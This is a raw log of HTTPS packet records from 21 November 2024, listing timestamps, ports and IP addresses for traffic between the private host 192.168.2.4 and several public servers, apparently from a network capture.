Nov 21, 2024 22:09:41.147705078 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.184005976 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.184037924 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.184056997 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.184092999 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.184103966 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.184115887 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.184160948 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.201592922 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.278608084 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.278893948 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.278918028 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.279870033 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.279918909 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.280412912 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.280467987 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.280571938 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.280581951 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.298477888 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.298676014 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.298698902 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.300268888 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.300322056 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.300724983 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.300798893 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.300858021 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.300865889 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.323832989 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.324167967 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.324193954 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.324975967 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.325298071 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.325380087 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.325416088 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.325520992 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.327043056 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.327193975 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.327212095 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.327707052 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.327931881 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.328010082 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.328032970 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.340935946 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.346797943 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.346987009 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.347004890 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.348608017 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.348669052 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.348915100 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.348998070 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.349011898 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.371319056 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.371761084 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.371773958 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.378236055 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.378309011 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.378321886 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.378336906 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.378362894 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.378382921 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.395325899 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.402498960 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.402518034 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.422132969 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.422162056 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.422218084 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.422238111 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.422298908 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.448811054 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.466057062 CET	443	49825	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:41.466423988 CET	49825	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:41.466459036 CET	443	49825	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:41.467828989 CET	443	49825	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:41.467888117 CET	49825	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:41.468910933 CET	49825	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:41.469043016 CET	49825	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:41.471354008 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:41.471390963 CET	443	49828	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:41.471678019 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:41.471735001 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:41.471743107 CET	443	49828	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:41.549002886 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.549096107 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.549102068 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.549127102 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.549149036 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.549168110 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.579019070 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.579045057 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.579092979 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.579109907 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.579161882 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.593457937 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.593506098 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.593554974 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.593571901 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.593779087 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.593822956 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.594542980 CET	49819	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.594553947 CET	443	49819	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.594943047 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.594990015 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.595041037 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.595535040 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.595550060 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.604077101 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.604114056 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.604151011 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.604166031 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.604195118 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.604520082 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.621577978 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.621607065 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.621712923 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.621712923 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.621738911 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.621814013 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.714396000 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.714415073 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.714524984 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.714546919 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.715145111 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.715179920 CET	443	49820	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.715301991 CET	49820	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.751151085 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.751205921 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.751249075 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.751259089 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.751276970 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.751293898 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.751305103 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.751415968 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.751610994 CET	49816	443	192.168.2.4	20.25.227.174
Nov 21, 2024 22:09:41.751631975 CET	443	49816	20.25.227.174	192.168.2.4
Nov 21, 2024 22:09:41.775378942 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.775435925 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.775537968 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.775546074 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.776334047 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.776369095 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.776375055 CET	443	49818	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.776401997 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.776448965 CET	49818	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.781789064 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.783550978 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.783610106 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.783795118 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.783804893 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.783885956 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.784094095 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.784382105 CET	49817	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.784388065 CET	443	49817	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.784585953 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.784754992 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.785725117 CET	49822	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.785739899 CET	443	49822	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.837601900 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.840964079 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.841111898 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.841151953 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.841311932 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.841320992 CET	443	49821	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:41.841351032 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.841351032 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:41.841484070 CET	49821	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:42.191428900 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.191672087 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.191695929 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.193356991 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.193536997 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.194324017 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.194407940 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.194508076 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.194508076 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.194519997 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.194551945 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.237051010 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.238476992 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.238734007 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.238754988 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.240220070 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.240305901 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.240679026 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.240679026 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.240698099 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.240735054 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.240763903 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.293131113 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.293159008 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.339333057 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.753804922 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.754013062 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.754067898 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.754929066 CET	49826	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.754960060 CET	443	49826	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.857690096 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.857784986 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.857858896 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.858493090 CET	49827	443	192.168.2.4	20.189.173.8
Nov 21, 2024 22:09:42.858511925 CET	443	49827	20.189.173.8	192.168.2.4
Nov 21, 2024 22:09:42.891134977 CET	443	49828	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:42.891659021 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.891668081 CET	443	49828	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:42.892554045 CET	443	49828	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:42.892600060 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.893498898 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.893623114 CET	443	49828	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:42.893661022 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.893791914 CET	49828	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.897556067 CET	49830	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.897584915 CET	443	49830	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:42.897656918 CET	49830	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.897978067 CET	49830	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:42.897985935 CET	443	49830	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:43.495208979 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:43.495501995 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:43.495523930 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:43.495991945 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:43.496331930 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:43.496404886 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:43.496526003 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:43.539331913 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:44.379817963 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:44.379897118 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:44.380412102 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:44.380450964 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:44.381017923 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:44.381087065 CET	443	49829	13.107.246.40	192.168.2.4
Nov 21, 2024 22:09:44.381160021 CET	49829	443	192.168.2.4	13.107.246.40
Nov 21, 2024 22:09:44.494327068 CET	443	49830	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:44.494750977 CET	49830	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:44.494767904 CET	443	49830	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:44.498544931 CET	443	49830	149.154.167.220	192.168.2.4
Nov 21, 2024 22:09:44.498609066 CET	49830	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:44.499476910 CET	49830	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:44.499588966 CET	49830	443	192.168.2.4	149.154.167.220
Nov 21, 2024 22:09:45.635473967 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.635535955 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.635579109 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.635631084 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.635665894 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.635701895 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.635756969 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.639373064 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.639537096 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.639723063 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.640256882 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.640288115 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.640331030 CET	49775	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.640346050 CET	443	49775	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.697927952 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.697983027 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:45.698318005 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.698318005 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:45.698388100 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:47.689349890 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:47.689937115 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:47.690002918 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:47.690598011 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:47.690598011 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:47.690618038 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:47.690656900 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.273387909 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.273452044 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.273544073 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.273581982 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.273621082 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.273648024 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.273813009 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.273813009 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.273844957 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.274171114 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.274252892 CET	443	49831	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.274693966 CET	49831	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.297709942 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.297806025 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:49.297887087 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.298110962 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:49.298146963 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:50.334266901 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:50.334451914 CET	443	49784	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:50.334527016 CET	49784	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:51.353774071 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.353844881 CET	443	49802	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.353916883 CET	49802	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:51.389460087 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.389615059 CET	443	49800	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.389833927 CET	49800	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:51.391390085 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.391532898 CET	443	49801	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.391598940 CET	49801	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:51.392589092 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.392733097 CET	443	49799	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.392790079 CET	49799	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:51.396720886 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:51.397243023 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:51.397277117 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:51.397790909 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:51.397804976 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:51.397872925 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:51.397891045 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:51.870944023 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.871040106 CET	443	49805	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.871273994 CET	49805	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:51.907701969 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.907880068 CET	443	49804	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:51.907943010 CET	49804	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:52.151942015 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.151992083 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.152159929 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.152170897 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.152239084 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.153800964 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.153853893 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.153883934 CET	49832	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.153898954 CET	443	49832	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.163194895 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.163234949 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.163384914 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.163583994 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.163598061 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.167694092 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.167754889 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:52.167927980 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.168066025 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:52.168095112 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.238084078 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.238639116 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.238683939 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.239470005 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.239475012 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.239506960 CET	49833	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.239514112 CET	443	49833	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.356174946 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.356729031 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.356806993 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.357548952 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.357563972 CET	443	49834	40.126.53.9	192.168.2.4
Nov 21, 2024 22:09:54.357609034 CET	49834	443	192.168.2.4	40.126.53.9
Nov 21, 2024 22:09:54.357628107 CET	443	49834	40.126.53.9	192.168.2.4
